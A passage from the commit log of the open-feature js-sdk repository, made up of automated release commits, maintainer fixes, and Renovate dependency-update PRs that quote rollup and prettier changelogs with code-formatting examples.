##### Pull Requests

- [#&#8203;4937](https://togithub.com/rollup/rollup/pull/4937): fix:
handle conditional breaks in nested switch statement cases
([@&#8203;TrickyPi](https://togithub.com/TrickyPi) and
[@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.20.3`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3203)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.20.2...v3.20.3)

*2023-04-16*

##### Bug Fixes

- Reduce memory consumption for function call parameter analysis
([#&#8203;4938](https://togithub.com/rollup/rollup/issues/4938))
- Fix types for `shouldTransformCachedModule`
([#&#8203;4932](https://togithub.com/rollup/rollup/issues/4932))

##### Pull Requests

- [#&#8203;4925](https://togithub.com/rollup/rollup/pull/4925): chore:
repl style add scoped ([@&#8203;btea](https://togithub.com/btea))
- [#&#8203;4926](https://togithub.com/rollup/rollup/pull/4926): docs:
Update the x_google_ignorelist url
([@&#8203;jecfish](https://togithub.com/jecfish))
- [#&#8203;4932](https://togithub.com/rollup/rollup/pull/4932): Allow
shouldTransformCachedModule to return null
([@&#8203;bluwy](https://togithub.com/bluwy))
- [#&#8203;4935](https://togithub.com/rollup/rollup/pull/4935): Bump
peter-evans/create-or-update-comment from 2 to 3
([@&#8203;dependabot](https://togithub.com/dependabot)\[bot])
- [#&#8203;4936](https://togithub.com/rollup/rollup/pull/4936): Disable
puppeteer sandbox to fix Vercel deployment
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4938](https://togithub.com/rollup/rollup/pull/4938): Improve
memory usage for parameter deoptimizations
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.20.2`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3202)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.20.1...v3.20.2)

*2023-03-24*

##### Bug Fixes

- Fix a crash when using a manual chunk entry that is not already
included in the module graph
([#&#8203;4921](https://togithub.com/rollup/rollup/issues/4921))
- Fix a crash when reporting a warning with incorrect sourcemap
information
([#&#8203;4922](https://togithub.com/rollup/rollup/issues/4922))

##### Pull Requests

- [#&#8203;4921](https://togithub.com/rollup/rollup/pull/4921): Handle
manual chunks where the entry is not part of the module graph
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4922](https://togithub.com/rollup/rollup/pull/4922): Do not
fail if the location of a warning is outside the original source
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.20.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3201)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.20.0...v3.20.1)

*2023-03-23*

##### Bug Fixes

- Fix returned file name from this.getFileName when assets are
deduplicated
([#&#8203;4919](https://togithub.com/rollup/rollup/issues/4919))

##### Pull Requests

- [#&#8203;4919](https://togithub.com/rollup/rollup/pull/4919): Only set
asset names when finalizing
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.20.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3200)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.19.1...v3.20.0)

*2023-03-20*

##### Features

- Allow dynamically imported files to have synthetic named exports when
preserving modules
([#&#8203;4913](https://togithub.com/rollup/rollup/issues/4913))

##### Bug Fixes

- Use deterministic file name when emitting several files with same
source ([#&#8203;4912](https://togithub.com/rollup/rollup/issues/4912))
- Fix a crash when dynamically importing a file with synthetic named
exports when preserving modules
([#&#8203;4913](https://togithub.com/rollup/rollup/issues/4913))

##### Pull Requests

- [#&#8203;4912](https://togithub.com/rollup/rollup/pull/4912): fix:
make file name deterministic in parallel emits (fix
[#&#8203;4909](https://togithub.com/rollup/rollup/issues/4909))
([@&#8203;sun0day](https://togithub.com/sun0day))
- [#&#8203;4913](https://togithub.com/rollup/rollup/pull/4913): Provide
synthetic namespace for dynamic imports when perserving modules
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

###
[`v3.19.1`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3191)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.19.0...v3.19.1)

*2023-03-10*

##### Bug Fixes

- Produce valid code when the first statement in aclass static block is
tree-shaken
([#&#8203;4898](https://togithub.com/rollup/rollup/issues/4898))

##### Pull Requests

- [#&#8203;4898](https://togithub.com/rollup/rollup/pull/4898): fix: set
a correct node location for static blocks
([@&#8203;TrickyPi](https://togithub.com/TrickyPi))
- [#&#8203;4900](https://togithub.com/rollup/rollup/pull/4900): docs:
fix table at `output.sanitizeFileName` section
([@&#8203;0x009922](https://togithub.com/0x009922))

###
[`v3.19.0`](https://togithub.com/rollup/rollup/blob/HEAD/CHANGELOG.md#&#8203;3190)

[Compare
Source](https://togithub.com/rollup/rollup/compare/v3.18.0...v3.19.0)

*2023-03-09*

##### Features

- Make reassignment tracking of call parameters more specific to no lose
information when an object is passed to a function
([#&#8203;4892](https://togithub.com/rollup/rollup/issues/4892))

##### Pull Requests

- [#&#8203;4890](https://togithub.com/rollup/rollup/pull/4890): Fix `npm
run dev` ([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4892](https://togithub.com/rollup/rollup/pull/4892): Only
selectively deoptimize call parameters
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))
- [#&#8203;4897](https://togithub.com/rollup/rollup/pull/4897):
Pre-render mermaid graphs on website
([@&#8203;lukastaegert](https://togithub.com/lukastaegert))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xNDQuMiIsInVwZGF0ZWRJblZlciI6IjM1LjE0NC4yIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2023-07-04 14:06:02 -04:00
github-actions[bot] f0fe0af3f4
chore(main): release js-sdk 1.3.2 (#462)
🤖 I have created a release *beep* *boop*
---


##
[1.3.2](https://github.com/open-feature/js-sdk/compare/js-sdk-v1.3.1...js-sdk-v1.3.2)
(2023-07-04)


### Bug Fixes

* named client events
([#472](https://github.com/open-feature/js-sdk/issues/472))
([fb69b9d](fb69b9d665))
* various event handler issues
([1dd1e17](1dd1e17361))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-07-04 13:20:15 -04:00
github-actions[bot] 42a9546bf3
chore(main): release web-sdk 0.3.6-experimental (#474)
🤖 I have created a release *beep* *boop*
---


##
[0.3.6-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.5-experimental...web-sdk-v0.3.6-experimental)
(2023-07-04)


### Bug Fixes

* named client events
([#472](https://github.com/open-feature/js-sdk/issues/472))
([fb69b9d](fb69b9d665))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-04 10:55:06 -04:00
github-actions[bot] 0247af9595
chore(main): release shared 0.0.6 (#475)
🤖 I have created a release *beep* *boop*
---


##
[0.0.6](https://github.com/open-feature/js-sdk/compare/shared-v0.0.5...shared-v0.0.6)
(2023-07-04)


### Bug Fixes

* named client events
([#472](https://github.com/open-feature/js-sdk/issues/472))
([fb69b9d](fb69b9d665))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-07-04 10:52:52 -04:00
Todd Baert fb69b9d665
fix: named client events (#472)
* fixed issues where named client wouldnt get events from a default
provider

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Signed-off-by: Lukas Reining <lukas.reining@codecentric.de>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2023-07-04 10:44:17 -04:00
Todd Baert d26c4eeedd
chore: import fixes to fix e2e tests (#471)
Both the server and client e2e tests run fine in the CI, but in some
local scenarios the "deep imports" we used were causing issues with
module resolution.

I've updated the e2e test to always import from the "top level" instead
of the /src sub-directory in the test suite.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2023-06-29 17:31:22 -04:00
github-actions[bot] a8703ed016
chore(main): release web-sdk 0.3.5-experimental (#464)
🤖 I have created a release *beep* *boop*
---


##
[0.3.5-experimental](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.3.4-experimental...web-sdk-v0.3.5-experimental)
(2023-06-29)


### Bug Fixes

* various event handler issues
([1dd1e17](1dd1e17361))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-06-29 13:21:25 -04:00
Todd Baert 4be22dd3f7
chore: node version matrix in ci (#470)
Similar to https://github.com/open-feature/js-sdk-contrib/issues/430

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Moritz Wiesinger <moritz.wiesinger@dynatrace.com>
2023-06-29 12:00:08 -04:00
renovate[bot] c49ac5bbd6
chore(deps): update dependency @openfeature/flagd-provider to v0.7.6 dont-close (#452)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| @&#8203;openfeature/flagd-provider | [`0.7.5` ->
`0.7.6`](https://renovatebot.com/diffs/npm/@openfeature%2fflagd-provider/0.7.5/0.7.6)
|
[![age](https://badges.renovateapi.com/packages/npm/@openfeature%2fflagd-provider/0.7.6/age-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://badges.renovateapi.com/packages/npm/@openfeature%2fflagd-provider/0.7.6/adoption-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://badges.renovateapi.com/packages/npm/@openfeature%2fflagd-provider/0.7.6/compatibility-slim/0.7.5)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://badges.renovateapi.com/packages/npm/@openfeature%2fflagd-provider/0.7.6/confidence-slim/0.7.5)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNS4xMTUuMiIsInVwZGF0ZWRJblZlciI6IjM1LjEzMS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2023-06-27 19:10:25 -04:00
github-actions[bot] 5264243c94
chore(main): release shared 0.0.5 (#465)
🤖 I have created a release *beep* *boop*
---


##
[0.0.5](https://github.com/open-feature/js-sdk/compare/shared-v0.0.4...shared-v0.0.5)
(2023-06-26)


### Bug Fixes

* various event handler issues
([1dd1e17](1dd1e17361))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2023-06-27 16:05:16 -04:00
renovate[bot] 997fcbd498
chore(deps): update dependency prettier to v2.8.8 (#455)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [prettier](https://prettier.io)
([source](https://togithub.com/prettier/prettier)) | [`2.8.0` ->
`2.8.8`](https://renovatebot.com/diffs/npm/prettier/2.8.0/2.8.8) |
[![age](https://badges.renovateapi.com/packages/npm/prettier/2.8.8/age-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://badges.renovateapi.com/packages/npm/prettier/2.8.8/adoption-slim)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://badges.renovateapi.com/packages/npm/prettier/2.8.8/compatibility-slim/2.8.0)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://badges.renovateapi.com/packages/npm/prettier/2.8.8/confidence-slim/2.8.0)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>prettier/prettier</summary>

###
[`v2.8.8`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#&#8203;288)

[Compare
Source](https://togithub.com/prettier/prettier/compare/2.8.7...2.8.8)

This version is a republished version of v2.8.7.
A bad version was accidentally published and [it can't be
unpublished](https://togithub.com/npm/cli/issues/1686), apologies for
the churn.

###
[`v2.8.7`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#&#8203;287)

[Compare
Source](https://togithub.com/prettier/prettier/compare/2.8.6...2.8.7)

[diff](https://togithub.com/prettier/prettier/compare/2.8.6...2.8.7)

##### Allow multiple decorators on same getter/setter
([#&#8203;14584](https://togithub.com/prettier/prettier/pull/14584) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```ts
// Input
class A {
  @&#8203;decorator()
  get foo () {}
  
  @&#8203;decorator()
  set foo (value) {}
}

// Prettier 2.8.6
SyntaxError: Decorators cannot be applied to multiple get/set accessors of the same name. (5:3)
  3 |   get foo () {}
  4 |   
> 5 |   @&#8203;decorator()
    |   ^^^^^^^^^^^^
  6 |   set foo (value) {}
  7 | }

// Prettier 2.8.7
class A {
  @&#8203;decorator()
  get foo() {}

  @&#8203;decorator()
  set foo(value) {}
}
```

###
[`v2.8.6`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#&#8203;286)

[Compare
Source](https://togithub.com/prettier/prettier/compare/2.8.5...2.8.6)

[diff](https://togithub.com/prettier/prettier/compare/2.8.5...2.8.6)

##### Allow decorators on private members and class expressions
([#&#8203;14548](https://togithub.com/prettier/prettier/pull/14548) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```ts
// Input
class A {
  @&#8203;decorator()
  #privateMethod () {}
}

// Prettier 2.8.5
SyntaxError: Decorators are not valid here. (2:3)
  1 | class A {
> 2 |   @&#8203;decorator()
    |   ^^^^^^^^^^^^
  3 |   #privateMethod () {}
  4 | }

// Prettier 2.8.6
class A {
  @&#8203;decorator()
  #privateMethod() {}
}
```

###
[`v2.8.5`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#&#8203;285)

[Compare
Source](https://togithub.com/prettier/prettier/compare/2.8.4...2.8.5)

[diff](https://togithub.com/prettier/prettier/compare/2.8.4...2.8.5)

##### Support TypeScript 5.0
([#&#8203;14391](https://togithub.com/prettier/prettier/pull/14391) by
[@&#8203;fisker](https://togithub.com/fisker),
[#&#8203;13819](https://togithub.com/prettier/prettier/pull/13819) by
[@&#8203;fisker](https://togithub.com/fisker),
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

TypeScript 5.0 introduces two new syntactic features:

-   `const` modifiers for type parameters
-   `export type *` declarations

##### Add missing parentheses for decorator
([#&#8203;14393](https://togithub.com/prettier/prettier/pull/14393) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
class Person {
  @&#8203;(myDecoratorArray[0])
  greet() {}
}

// Prettier 2.8.4
class Person {
  @&#8203;myDecoratorArray[0]
  greet() {}
}

// Prettier 2.8.5
class Person {
  @&#8203;(myDecoratorArray[0])
  greet() {}
}
```

##### Add parentheses for `TypeofTypeAnnotation` to improve readability
([#&#8203;14458](https://togithub.com/prettier/prettier/pull/14458) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```tsx
// Input
type A = (typeof node.children)[];

// Prettier 2.8.4
type A = typeof node.children[];

// Prettier 2.8.5
type A = (typeof node.children)[];
```

##### Support `max_line_length=off` when parsing `.editorconfig`
([#&#8203;14516](https://togithub.com/prettier/prettier/pull/14516) by
[@&#8203;josephfrazier](https://togithub.com/josephfrazier))

If an .editorconfig file is in your project and it sets
`max_line_length=off` for the file you're formatting,
it will be interpreted as a `printWidth` of `Infinity` rather than being
ignored
(which previously resulted in the default `printWidth` of 80 being
applied, if not overridden by Prettier-specific configuration).

<!-- prettier-ignore -->

```html
<!-- Input -->
<div className='HelloWorld' title={`You are visitor number ${ num }`} onMouseOver={onMouseOver}/>

<!-- Prettier 2.8.4 -->
<div
  className="HelloWorld"
  title={`You are visitor number ${num}`}
  onMouseOver={onMouseOver}
/>;

<!-- Prettier 2.8.5 -->
<div className="HelloWorld" title={`You are visitor number ${num}`} onMouseOver={onMouseOver} />;
```

###
[`v2.8.4`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#&#8203;284)

[Compare
Source](https://togithub.com/prettier/prettier/compare/2.8.3...2.8.4)

[diff](https://togithub.com/prettier/prettier/compare/2.8.3...2.8.4)

##### Fix leading comments in mapped types with `readonly`
([#&#8203;13427](https://togithub.com/prettier/prettier/pull/13427) by
[@&#8203;thorn0](https://togithub.com/thorn0),
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

<!-- prettier-ignore -->

```tsx
// Input
type Type = {
  // comment
  readonly [key in Foo];
};

// Prettier 2.8.3
type Type = {
  readonly // comment
  [key in Foo];
};

// Prettier 2.8.4
type Type = {
  // comment
  readonly [key in Foo];
};
```

##### Group params in opening block statements
([#&#8203;14067](https://togithub.com/prettier/prettier/pull/14067) by
[@&#8203;jamescdavis](https://togithub.com/jamescdavis))

This is a follow-up to
[#&#8203;13930](https://togithub.com/prettier/prettier/issues/13930) to
establish wrapping consistency between opening block statements and else
blocks by
grouping params in opening blocks. This causes params to break to a new
line together and not be split across lines
unless the length of params exceeds the print width. This also updates
the else block wrapping to behave exactly the
same as opening blocks.

<!-- prettier-ignore -->

```hbs
{{! Input }}
{{#block param param param param param param param param param param as |blockParam|}}
  Hello
{{else block param param param param param param param param param param as |blockParam|}}
  There
{{/block}}

{{! Prettier 2.8.3 }}
{{#block
  param
  param
  param
  param
  param
  param
  param
  param
  param
  param
  as |blockParam|
}}
  Hello
{{else block param
param
param
param
param
param
param
param
param
param}}
  There
{{/block}}

{{! Prettier 2.8.4 }}
{{#block
  param param param param param param param param param param
  as |blockParam|
}}
  Hello
{{else block
  param param param param param param param param param param
  as |blockParam|
}}
  There
{{/block}}
```

##### Ignore files in `.sl/`
([#&#8203;14206](https://togithub.com/prettier/prettier/pull/14206) by
[@&#8203;bolinfest](https://togithub.com/bolinfest))

In [Sapling SCM](https://sapling-scm.com/), `.sl/` is the folder where
it stores its state, analogous to `.git/` in Git. It should be ignored
in Prettier like the other SCM folders.

##### Recognize `@satisfies` in Closure-style type casts
([#&#8203;14262](https://togithub.com/prettier/prettier/pull/14262) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
const a = /** @&#8203;satisfies {Record<string, string>} */ ({hello: 1337});
const b = /** @&#8203;type {Record<string, string>} */ ({hello: 1337});

// Prettier 2.8.3
const a = /** @&#8203;satisfies {Record<string, string>} */ { hello: 1337 };
const b = /** @&#8203;type {Record<string, string>} */ ({ hello: 1337 });

// Prettier 2.8.4
const a = /** @&#8203;satisfies {Record<string, string>} */ ({hello: 1337});
const b = /** @&#8203;type {Record<string, string>} */ ({hello: 1337});
```

##### Fix parens in inferred function return types with `extends`
([#&#8203;14279](https://togithub.com/prettier/prettier/pull/14279) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```ts
// Input
type Foo<T> = T extends ((a) => a is infer R extends string) ? R : never;

// Prettier 2.8.3 (First format)
type Foo<T> = T extends (a) => a is infer R extends string ? R : never;

// Prettier 2.8.3 (Second format)
SyntaxError: '?' expected. 

// Prettier 2.8.4
type Foo<T> = T extends ((a) => a is infer R extends string) ? R : never;
```

###
[`v2.8.3`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#&#8203;283)

[Compare
Source](https://togithub.com/prettier/prettier/compare/2.8.2...2.8.3)

[diff](https://togithub.com/prettier/prettier/compare/2.8.2...2.8.3)

##### Allow self-closing tags on custom elements
([#&#8203;14170](https://togithub.com/prettier/prettier/pull/14170) by
[@&#8203;fisker](https://togithub.com/fisker))

See [Angular v15.1.0 release
note](https://togithub.com/angular/angular/releases/tag/15.1.0) for
details.

<!-- prettier-ignore -->

```html
// Input
<app-test/>

// Prettier 2.8.2
SyntaxError: Only void and foreign elements can be self closed "app-test" (1:1)
> 1 | <app-test/>
    | ^^^^^^^^^
  2 |

// Prettier 2.8.3
<app-test />
```

###
[`v2.8.2`](https://togithub.com/prettier/prettier/blob/HEAD/CHANGELOG.md#&#8203;282)

[Compare
Source](https://togithub.com/prettier/prettier/compare/2.8.1...2.8.2)

[diff](https://togithub.com/prettier/prettier/compare/2.8.1...2.8.2)

##### Don't lowercase link references
([#&#8203;13155](https://togithub.com/prettier/prettier/pull/13155) by
[@&#8203;DerekNonGeneric](https://togithub.com/DerekNonGeneric) &
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```markdown
<!-- Input -->
We now don't strictly follow the release notes format suggested by [Keep a Changelog].

[Keep a Changelog]: https://example.com/

<!-- Prettier 2.8.1 -->
We now don't strictly follow the release notes format suggested by [Keep a Changelog].

[keep a changelog]: https://example.com/
<!--
^^^^^^^^^^^^^^^^^^ lowercased
-->

<!-- Prettier 2.8.2 -->
<Same as input>
```

##### Preserve self-closing tags
([#&#8203;13691](https://togithub.com/prettier/prettier/pull/13691) by
[@&#8203;dcyriller](https://togithub.com/dcyriller))

<!-- prettier-ignore -->

```hbs
{{! Input }}
<div />
<div></div>
<custom-component />
<custom-component></custom-component>
<i />
<i></i>
<Component />
<Component></Component>

{{! Prettier 2.8.1 }}
<div></div>
<div></div>
<custom-component></custom-component>
<custom-component></custom-component>
<i></i>
<i></i>
<Component />
<Component />

{{! Prettier 2.8.2 }}
<div />
<div></div>
<custom-component />
<custom-component></custom-component>
<i />
<i></i>
<Component />
<Component />
```

##### Allow custom "else if"-like blocks with block params
([#&#8203;13930](https://togithub.com/prettier/prettier/pull/13930) by
[@&#8203;jamescdavis](https://togithub.com/jamescdavis))

[#&#8203;13507](https://togithub.com/prettier/prettier/issues/13507)
added support for custom block keywords used with `else`, but failed to
allow block params. This updates printer-glimmer to allow block params
with custom "else if"-like blocks.

<!-- prettier-ignore -->

```hbs
{{! Input }}
{{#when isAtWork as |work|}}
  Ship that
  {{work}}!
{{else when isReading as |book|}}
  You can finish
  {{book}}
  eventually...
{{else}}
  Go to bed!
{{/when}}

{{! Prettier 2.8.1 }}
{{#when isAtWork as |work|}}
  Ship that
  {{work}}!
{{else when isReading}}
  You can finish
  {{book}}
  eventually...
{{else}}
  Go to bed!
{{/when}}

{{! Prettier 2.8.2 }}
{{#when isAtWork as |work|}}
  Ship that
  {{work}}!
{{else when isReading as |book|}}
  You can finish
  {{book}}
  eventually...
{{else}}
  Go to bed!
{{/when}}
```

##### Preserve empty lines between nested SCSS maps
([#&#8203;13931](https://togithub.com/prettier/prettier/pull/13931) by
[@&#8203;jneander](https://togithub.com/jneander))

<!-- prettier-ignore -->

```scss
/* Input */
$map: (
  'one': (
     'key': 'value',
  ),

  'two': (
     'key': 'value',
  ),
)

/* Prettier 2.8.1 */
$map: (
  'one': (
     'key': 'value',
  ),
  'two': (
     'key': 'value',
  ),
)

/* Prettier 2.8.2 */
$map: (
  'one': (
     'key': 'value',
  ),

  'two': (
     'key': 'value',
  ),
)
```

##### Fix missing parentheses when an expression statement starts with
`let[`
([#&#8203;14000](https://togithub.com/prettier/prettier/pull/14000),
[#&#8203;14044](https://togithub.com/prettier/prettier/pull/14044) by
[@&#8203;fisker](https://togithub.com/fisker),
[@&#8203;thorn0](https://togithub.com/thorn0))

<!-- prettier-ignore -->

```jsx
// Input
(let[0] = 2);

// Prettier 2.8.1
let[0] = 2;

// Prettier 2.8.1 (second format)
SyntaxError: Unexpected token (1:5)
> 1 | let[0] = 2;
    |     ^
  2 |

// Prettier 2.8.2
(let)[0] = 2;
```

##### Fix semicolon duplicated at the end of LESS file
([#&#8203;14007](https://togithub.com/prettier/prettier/pull/14007) by
[@&#8203;mvorisek](https://togithub.com/mvorisek))

<!-- prettier-ignore -->

```less
// Input
@&#8203;variable: {
  field: something;
};

// Prettier 2.8.1
@&#8203;variable: {
  field: something;
}; ;

// Prettier 2.8.2
@&#8203;variable: {
  field: something;
};
```

##### Fix no space after unary minus when followed by opening
parenthesis in LESS
([#&#8203;14008](https://togithub.com/prettier/prettier/pull/14008) by
[@&#8203;mvorisek](https://togithub.com/mvorisek))

<!-- prettier-ignore -->

```less
// Input
.unary_minus_single {
  margin: -(@&#8203;a);
}

.unary_minus_multi {
  margin: 0 -(@&#8203;a);
}

.binary_minus {
  margin: 0 - (@&#8203;a);
}

// Prettier 2.8.1
.unary_minus_single {
  margin: - (@&#8203;a);
}

.unary_minus_multi {
  margin: 0 - (@&#8203;a);
}

.binary_minus {
  margin: 0 - (@&#8203;a);
}

// Prettier 2.8.2
.unary_minus_single {
  margin: -(@&#8203;a);
}

.unary_minus_multi {
  margin: 0 -(@&#8203;a);
}

.binary_minus {
  margin: 0 - (@&#8203;a);
}
```

##### Do not change case of property name if inside a variable
declaration in LESS
([#&#8203;14034](https://togithub.com/prettier/prettier/pull/14034) by
[@&#8203;mvorisek](https://togithub.com/mvorisek))

<!-- prettier-ignore -->

```less
// Input
@&#8203;var: {
  preserveCase: 0;
};

// Prettier 2.8.1
@&#8203;var: {
  preservecase: 0;
};

// Prettier 2.8.2
@&#8203;var: {
  preserveCase: 0;
};
```

##### Fix formatting for auto-accessors with comments
([#&#8203;14038](https://togithub.com/prettier/prettier/pull/14038) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
class A {
  @&#8203;dec()
  // comment
  accessor b;
}

// Prettier 2.8.1
class A {
  @&#8203;dec()
  accessor // comment
  b;
}

// Prettier 2.8.1 (second format)
class A {
  @&#8203;dec()
  accessor; // comment
  b;
}

// Prettier 2.8.2
class A {
  @&#8203;dec()
  // comment
  accessor b;
}
```

##### Add parentheses for TSTypeQuery to improve readability
([#&#8203;14042](https://togithub.com/prettier/prettier/pull/14042) by
[@&#8203;onishi-kohei](https://togithub.com/onishi-kohei))

<!-- prettier-ignore -->

```tsx
// Input
a as (typeof node.children)[number]
a as (typeof node.children)[]
a as ((typeof node.children)[number])[]

// Prettier 2.8.1
a as typeof node.children[number];
a as typeof node.children[];
a as typeof node.children[number][];

// Prettier 2.8.2
a as (typeof node.children)[number];
a as (typeof node.children)[];
a as (typeof node.children)[number][];
```

##### Fix displacing of comments in default switch case
([#&#8203;14047](https://togithub.com/prettier/prettier/pull/14047) by
[@&#8203;thorn0](https://togithub.com/thorn0))

It was a regression in Prettier 2.6.0.

<!-- prettier-ignore -->

```jsx
// Input
switch (state) {
  default:
    result = state; // no change
    break;
}

// Prettier 2.8.1
switch (state) {
  default: // no change
    result = state;
    break;
}

// Prettier 2.8.2
switch (state) {
  default:
    result = state; // no change
    break;
}
```

##### Support type annotations on auto accessors via `babel-ts`
([#&#8203;14049](https://togithub.com/prettier/prettier/pull/14049) by
[@&#8203;sosukesuzuki](https://togithub.com/sosukesuzuki))

[The bug that `@babel/parser` cannot parse auto accessors with type
annotations](https://togithub.com/babel/babel/issues/15205) has been
fixed. So we now support it via `babel-ts` parser.

<!-- prettier-ignore -->

```tsx
class Foo {
  accessor prop: number;
}
```

##### Fix formatting of empty type parameters
([#&#8203;14073](https://togithub.com/prettier/prettier/pull/14073) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
const foo: bar</* comment */> = () => baz;

// Prettier 2.8.1
Error: Comment "comment" was not printed. Please report this error!

// Prettier 2.8.2
const foo: bar</* comment */> = () => baz;
```

##### Add parentheses to head of `ExpressionStatement` instead of the
whole statement
([#&#8203;14077](https://togithub.com/prettier/prettier/pull/14077) by
[@&#8203;fisker](https://togithub.com/fisker))

<!-- prettier-ignore -->

```jsx
// Input
({}).toString.call(foo) === "[object Array]"
  ? foo.forEach(iterateArray)
  : iterateObject(foo);

// Prettier 2.8.1
({}.toString.call(foo) === "[object Array]"
  ? foo.forEach(iterateArray)
  : iterateObject(foo));

// Prettier 2.8.2
({}).toString.call(foo.forEach) === "[object Array]"
  ? foo.forEach(iterateArray)
  : iterateObject(foo);
```

##### Fix comments after directive
([#&#8203;14081](https://togithub.com/prettier/prettier/pull/14081) by
[@&#8203;fisker](https://togithub.com/fisker))

